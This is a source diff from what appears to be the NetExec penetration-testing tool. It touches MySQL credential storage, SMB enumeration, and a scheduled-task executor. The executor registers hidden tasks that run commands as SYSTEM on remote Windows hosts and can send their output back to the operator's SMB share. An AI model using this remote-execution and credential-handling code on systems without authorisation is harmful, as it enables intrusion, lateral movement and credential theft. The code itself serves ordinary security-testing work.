q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username).like(like_term))
# otherwise return all credentials
else:
q = select(self.CredentialsTable)
return self.db_execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None):
"""Return hosts from the database."""
q = select(self.HostsTable)
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by host
elif filter_term and filter_term != "":
q = format_host_query(q, filter_term, self.HostsTable)
results = self.db_execute(q).all()
nxc_logger.debug(f"MySQL get_hosts() - results: {results}")
return results
def is_user_valid(self, cred_id):
"""Check if this User ID is valid."""
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
results = self.db_execute(q).all()
return len(results) > 0
def get_user(self, username):
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
return self.db_execute(q).all()
def get_users(self, filter_term=None):
q = select(self.CredentialsTable)
if self.is_user_valid(filter_term):
q = q.filter(self.CredentialsTable.c.id == filter_term)
# if we're filtering by username
elif filter_term and filter_term != "":
like_term = func.lower(f"%{filter_term}%")
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
return self.db_execute(q).all()
def add_loggedin_relation(self, cred_id, host_id):
relation_query = select(self.LoggedinRelationsTable).filter(
self.LoggedinRelationsTable.c.credid == cred_id,
self.LoggedinRelationsTable.c.hostid == host_id,
)
results = self.db_execute(relation_query).all()
# only add one if one doesn't already exist
if not results:
relation = {"credid": cred_id, "hostid": host_id}
try:
nxc_logger.debug(f"Inserting loggedin_relations: {relation}")
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.LoggedinRelationsTable)
self.db_execute(q, [relation])
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
return inserted_id_results[0].id
except Exception as e:
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
def get_loggedin_relations(self, cred_id=None, host_id=None):
q = select(self.LoggedinRelationsTable)
if cred_id:
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
if host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
return self.db_execute(q).all()
def remove_loggedin_relations(self, cred_id=None, host_id=None):
q = delete(self.LoggedinRelationsTable)
if cred_id:
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
elif host_id:
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
self.db_execute(q)
-181
View File
@@ -1,181 +0,0 @@
from nxc.nxcdb import DatabaseNavigator, print_table, print_help
class navigator(DatabaseNavigator):
def display_creds(self, creds):
data = [
[
"CredID",
"Total Logins",
"Username",
"Password",
]
]
for cred in creds:
total_users = self.db.get_loggedin_relations(cred_id=cred[0])
data.append(
[
cred[0],
str(len(total_users)) + " Host(s)",
cred[1],
cred[2],
]
)
print_table(data, title="Credentials")
def display_hosts(self, hosts):
data = [
[
"HostID",
"Total Users",
"Host",
"Port",
"Banner",
]
]
for h in hosts:
total_users = self.db.get_loggedin_relations(host_id=h[0])
data.append(
[
h[0],
str(len(total_users)) + " User(s)",
h[1],
h[2],
h[3],
]
)
print_table(data, title="Hosts")
def do_hosts(self, line):
filter_term = line.strip()
if filter_term == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filter_term=filter_term)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [["HostID", "Host", "Port", "Banner"]]
host_id_list = [h[0] for h in hosts]
data += [[h[0], h[1], h[2], h[3]] for h in hosts]
print_table(data, title="Host")
login_data = [["CredID", "UserName", "Password"]]
for host_id in host_id_list:
login_links = self.db.get_loggedin_relations(host_id=host_id)
for link in login_links:
_, cred_id, host_id = link
creds = self.db.get_credentials(filter_term=cred_id)
for cred in creds:
cred_data = [cred[0], cred[1], cred[2]]
if cred_data not in login_data:
login_data.append(cred_data)
if len(login_data) > 1:
print_table(
login_data,
title="Credential(s) with Logins",
)
@staticmethod
def help_hosts():
help_string = """
hosts [filter_term]
By default prints all hosts
Table format:
| 'HostID', 'Host', 'Port', 'Banner' |
"""
print_help(help_string)
def do_creds(self, line):
filter_term = line.strip()
if filter_term == "":
creds = self.db.get_credentials()
self.display_creds(creds)
elif filter_term.split()[0].lower() == "add":
# add format: "username password"
args = filter_term.split()[1:]
if len(args) == 2:
username, password = args
self.db.add_credential(username, password)
else:
print("[!] Format is 'add username password")
return
elif filter_term.split()[0].lower() == "remove":
args = filter_term.split()[1:]
if len(args) != 1:
print("[!] Format is 'remove <credID>'")
return
else:
self.db.remove_credentials(args)
self.db.remove_loggedin_relations(user_ids=args)
else:
creds = self.db.get_credentials(filter_term=filter_term)
if len(creds) != 1:
self.display_creds(creds)
elif len(creds) == 1:
cred_data = [["CredID", "UserName", "Password"]]
cred_id_list = []
for cred in creds:
cred_id = cred[0]
cred_id_list.append(cred_id)
username = cred[1]
password = cred[2]
cred_data.append([cred_id, username, password])
print_table(cred_data, title="Credential(s)")
access_data = [["HostID", "Host", "Port", "Banner"]]
for cred_id in cred_id_list:
logins = self.db.get_loggedin_relations(cred_id=cred_id)
for link in logins:
_, cred_id, host_id = link
hosts = self.db.get_hosts(host_id)
access_data += [[h[0], h[1], h[2], h[3]] for h in hosts]
# we look if it's greater than one because the header row always exists
if len(access_data) > 1:
print_table(access_data, title="Access to Host(s)")
def help_creds(self):
help_string = """
creds [add|remove|filter_term]
By default prints all creds
Table format:
| 'CredID', 'Login To', 'UserName', 'Password' |
Subcommands:
add - format: "add username password"
remove - format: "remove <credID>"
filter_term - filters creds with filter_term
If a single credential is returned (e.g. `creds 15`, it prints the following tables:
Credential(s) | 'CredID', 'UserName', 'Password' |
Access to Host(s) | 'HostID', 'Host', 'Port', 'Banner'
Otherwise, it prints the default credential table from a `like` query on the `username` column
"""
print_help(help_string)
def do_clear_database(self, line):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
@staticmethod
def help_clear_database():
help_string = """
clear_database
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
-14
View File
@@ -1,14 +0,0 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
mysql_parser = parser.add_parser("mysql", help="own stuff using MySQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
mysql_parser.add_argument("--port", type=int, default=3306, help="MySQL port")
cgroup = mysql_parser.add_argument_group("Database Operations", "Options for interacting with MySQL databases")
cgroup.add_argument("-q", "--query", metavar="SQL_QUERY", help="Execute a custom SQL query")
cgroup.add_argument("--databases", action="store_true", help="List all databases")
cgroup.add_argument("--tables", metavar="DATABASE", help="List tables in specified database")
cgroup.add_argument("--dump-database", "--dump", dest="dump_database", metavar="DATABASE", help="Dump database structure and data")
cgroup.add_argument("--server-capabilities", "--capabilities", dest="server_capabilities", action="store_true", help="Get server capabilities")
return parser
+1 -1
View File
@@ -516,7 +516,7 @@ class nfs(connection):
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
Sources:
Sources:
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
+61 -250
View File
@@ -2,8 +2,6 @@ import ntpath
import binascii
import os
import re
import struct
import ipaddress
from Cryptodome.Hash import MD4
from impacket.smbconnection import SMBConnection, SessionError
@@ -34,7 +32,7 @@ from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors
@@ -65,7 +63,7 @@ from dploot.triage.credentials import CredentialsTriage
from dploot.lib.target import Target
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from time import time, ctime, sleep
from time import time, ctime
from traceback import format_exc
from termcolor import colored
import contextlib
@@ -126,7 +124,6 @@ class smb(connection):
self.pvkbytes = None
self.no_da = None
self.no_ntlm = False
self.null_auth = False
self.protocol = "SMB"
self.is_guest = None
self.isdc = False
@@ -175,11 +172,9 @@ class smb(connection):
try:
self.conn.login("", "")
self.null_auth = True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e:
self.null_auth = False
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
self.no_ntlm = True
@@ -293,9 +288,8 @@ class smb(connection):
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else ""
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}")
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}")
if self.args.generate_hosts_file or self.args.generate_krb5_file:
if self.args.generate_hosts_file:
@@ -1112,7 +1106,7 @@ class smb(connection):
procInfo["pSid"],
f"{procInfo['WorkingSetSize'] // 1000:,} K",
)
try:
with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy:
try:
@@ -1147,151 +1141,10 @@ class smb(connection):
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
if self.args.tasklist is not True and not found_task:
self.logger.fail(f"Didn't find process {self.args.tasklist}")
except SessionError:
self.logger.fail("Cannot list remote tasks, RDP is probably disabled.")
def reg_sessions(self):
def output(sessions):
if sessions:
# Calculate max lengths for formatting
maxSidLen = max(len(key) + 1 for key in sessions)
maxSidLen = max(maxSidLen, len("SID") + 1)
maxUsernameLen = max(len(vals["Username"] + vals["Domain"]) + 1 for vals in sessions.values()) + 1
maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1)
# Create the template for formatting
template = (f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}")
# Create headers
header = template.format(USERNAME="USERNAME", SID="SID")
header2 = template.replace(" <", "=<").format(USERNAME="", SID="")
# Store result
result = [header, header2]
for sid, vals in sessions.items():
username = vals["Username"]
domain = vals["Domain"]
user_full = f"{domain}\\{username}" if username else ""
row = template.format(USERNAME=user_full, SID=sid)
result.append(row)
self.logger.success("Remote Registry enumerated sessions")
for row in result:
self.logger.highlight(row)
else:
self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.")
# Bind to the Remote Registry Pipe
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn)
for binding_attempts in range(2, 0, -1):
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
break
except SessionError as e:
self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}")
if binding_attempts == 1: # Last attempt
self.logger.info(f"The Remote Registry service seems to be disabled on {self.hostname}.")
return
# STATUS_PIPE_NOT_AVAILABLE : Waiting 1 second for the service to start (if idle and set to 'Automatic' startup type)
sleep(1)
# Open HKU hive
try:
resp = rrp.hOpenUsers(dce)
except DCERPCException as e:
if "rpc_s_access_denied" in str(e).lower():
self.logger.info(f"Access denied while enumerating session using the Remote Registry on {self.hostname}.")
return
else:
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
except Exception as e:
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
# Enumerate HKU subkeys and recover SIDs
sid_filter = "^S-1-.*\\d$"
exclude_sid = ["S-1-5-18", "S-1-5-19", "S-1-5-20"]
key_handle = resp["phKey"]
index = 1
sessions = {}
while True:
try:
resp = rrp.hBaseRegEnumKey(dce, key_handle, index)
sid = resp["lpNameOut"].rstrip("\0")
if re.match(sid_filter, sid) and sid not in exclude_sid:
self.logger.info(f"User with SID {sid} is logged in on {self.hostname}")
sessions.setdefault(sid, {"Username": "", "Domain": ""})
index += 1
except rrp.DCERPCSessionError as e:
if "ERROR_NO_MORE_ITEMS" in str(e):
self.logger.debug(f"No more items found in HKU on {self.hostname}.")
break
else:
self.logger.fail(f"Error enumerating HKU subkeys on {self.hostname}: {e}")
break
rrp.hBaseRegCloseKey(dce, key_handle)
dce.disconnect()
if not sessions:
self.logger.info(f"No sessions found via the Remote Registry service on {self.hostname}.")
return
# Bind to the LSARPC Pipe for SID resolution
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
except Exception as e:
self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}")
output(sessions)
return
# Resolve SIDs with names
policy_handle = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"]
try:
resp = lsat.hLsarLookupSids(dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException as e:
if str(e).find("STATUS_SOME_NOT_MAPPED") >= 0:
resp = e.get_packet()
self.logger.debug(f"Could not resolve some SIDs: {e}")
else:
resp = None
self.logger.debug(f"Could not resolve SID(s): {e}")
if resp:
for sid, item in zip(sessions.keys(), resp["TranslatedNames"]["Names"], strict=False):
if item["DomainIndex"] >= 0:
sessions[sid]["Username"] = item["Name"]
sessions[sid]["Domain"] = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"]
# Filter for usernames
if self.args.reg_sessions:
arg = self.args.reg_sessions
if os.path.isfile(arg):
with open(arg) as f:
usernames = [line.strip().lower() for line in f if line.strip()]
else:
usernames = [arg.lower()]
filtered_sessions = {}
for sid, info in sessions.items():
if info["Username"].lower() not in usernames:
continue
else:
filtered_sessions[sid] = info
output(filtered_sessions)
else:
output(sessions)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
@@ -1406,7 +1259,7 @@ class smb(connection):
self.logger.display("Enumerated shares")
self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}")
self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}")
for share in permissions:
name = share["name"]
remark = share["remark"]
@@ -1437,116 +1290,74 @@ class smb(connection):
full_path = ntpath.join(self.args.dir, content.get_longname())
self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}")
@requires_admin
def interfaces(self):
"""
Enumeratie active network interfaces via SMB
Made by Ilya Yatsenko (@fulc2um)
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Made by: @Sant0rryu, @NeffIsBack
"""
try:
self.logger.display("Starting network interface enumeration")
remoteOps = RemoteOperations(self.conn, False)
remoteOps.enableRegistry()
tree_id = self.conn.connectTree("IPC$")
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
FSCTL_QUERY_NETWORK_INTERFACE_INFO = 0x001401FC
response = self.conn._SMBConnection.ioctl(
tree_id,
fileId=None,
ctlCode=FSCTL_QUERY_NETWORK_INTERFACE_INFO,
flags=SMB2_0_IOCTL_IS_FSCTL,
inputBlob=b"",
maxOutputResponse=8192
)
if response:
self.logger.success("Retrieved network interface data")
# Parse FSCTL_QUERY_NETWORK_INTERFACE_INFO response data
if not response:
self.logger.fail("No data to parse")
return
# Parse and group interfaces
grouped_interfaces = {}
offset = 0
while offset < len(response) and offset + 152 <= len(response):
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
# Parse NETWORK_INTERFACE_INFO structure
next_offset = struct.unpack("<L", response[offset:offset + 4])[0]
if_index = struct.unpack("<L", response[offset + 4:offset + 8])[0]
capabilities = struct.unpack("<L", response[offset + 8:offset + 12])[0]
link_speed = struct.unpack("<Q", response[offset + 16:offset + 24])[0]
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Socket address (SockAddr_Storage at offset+24)
family = struct.unpack("<H", response[offset + 24:offset + 26])[0]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
if family == 0x0002: # IPv4
ip_bytes = response[offset + 28:offset + 32]
ip_addr = ipaddress.IPv4Address(ip_bytes)
addr_info = f"IPv4: {ip_addr}"
elif family == 0x0017: # IPv6
ip6_bytes = response[offset + 32:offset + 48]
ip_addr = ipaddress.IPv6Address(ip6_bytes)
addr_info = f"IPv6: {ip_addr}"
else:
addr_info = f"Unknown family: 0x{family:04x}"
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Group by interface index
if if_index not in grouped_interfaces:
caps = []
if capabilities & 0x01:
caps.append("RSS")
if capabilities & 0x02:
caps.append("RDMA")
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
grouped_interfaces[if_index] = {
"capabilities": caps,
"link_speed": link_speed,
"addresses": []
}
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
grouped_interfaces[if_index]["addresses"].append(addr_info)
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
if next_offset == 0:
break
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
offset = next_offset if next_offset > offset else offset + next_offset
if offset >= len(response):
break
except DCERPCException as e:
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
except (struct.error, IndexError) as e:
self.logger.fail(f"Error parsing interface at offset {offset}: {e}")
break
# Display interfaces
if not grouped_interfaces:
self.logger.fail("No network interfaces found")
return
self.logger.highlight(f"Found {len(grouped_interfaces)} network interface(s)")
for i, if_index in enumerate(sorted(grouped_interfaces.keys())):
iface = grouped_interfaces[if_index]
caps_str = ", ".join(iface["capabilities"]) if iface["capabilities"] else "None"
speed_mbps = iface["link_speed"] / 1000000
self.logger.display(f"Interface {i + 1} (Index: {if_index}):")
self.logger.display(f" - Capabilities: {caps_str}")
self.logger.display(f" - Speed: {speed_mbps:.0f} Mbps")
self.logger.display(" - Addresses:")
for addr in iface["addresses"]:
prefix = " -"
self.logger.display(f"{prefix} {addr}")
else:
self.logger.fail("No response data received")
self.conn.disconnectTree(tree_id)
except Exception as e:
self.logger.fail(f"Error during network interface enumeration: {e}")
self.logger.fail(f"Full error: {e}", exc_info=True)
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
self.logger.error(f"Failed to connect to the target: {e!s}")
def get_dc_ips(self):
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
@@ -1555,7 +1366,7 @@ class smb(connection):
return dc_ips
def smb_sessions(self):
self.logger.fail("[REMOVED] Use option --reg-sessions --qwinsta or --loggedon-users")
self.logger.fail("[REMOVED] Use option --qwinsta or --loggedon-users")
return
def disks(self):
+107 -109
View File
@@ -1,18 +1,15 @@
import os
from textwrap import dedent
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from time import sleep
from datetime import datetime, timedelta
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
# These options are used by the schtask_as module, except the run_task_as
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -31,13 +28,6 @@ class TSCH_EXEC:
self.__share = share
self.logger = logger
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
self.task_name = task_name if task_name else gen_random_string(8)
self.run_task_as = run_task_as
self.run_cmd = run_cmd
self.output_filename = output_filename
self.output_file_location = output_file_location
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
@@ -79,49 +69,49 @@ class TSCH_EXEC:
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command):
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>{self.run_task_as}</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
if self.__retOutput:
file_location = "\\Windows\\Temp\\" if self.output_file_location is None else self.output_file_location
if self.output_filename is None:
self.__output_filename = os.path.join(file_location, gen_random_string(6))
self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
else:
self.__output_filename = os.path.join(file_location, self.output_filename)
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
elif self.__retOutput is False:
argument_xml = f" <Arguments>/C {command}</Arguments>"
@@ -130,15 +120,13 @@ class TSCH_EXEC:
xml += argument_xml
xml += """
</Exec>
</Actions>
</Task>
"""
</Exec>
</Actions>
</Task>
"""
return xml
# Removing identation for the final XML file
return dedent(xml)
def execute_handler(self, command):
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
@@ -146,76 +134,86 @@ class TSCH_EXEC:
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
xml = self.gen_xml(command)
tmpName = gen_random_string(8)
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task_name}")
self.logger.info(f"Creating task \\{tmpName}")
try:
# Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Task scheduling was blocked.")
elif e.error_code and hex(e.error_code) == "0x80070534":
self.logger.fail(f"User {self.run_task_as} does not have a valid winstation, cannot run the task on its behalf.")
self.logger.fail("ATEXEC: Create schedule task got blocked.")
else:
self.logger.fail(str(e))
return
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task_name}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection()
if fileless:
while True:
try:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
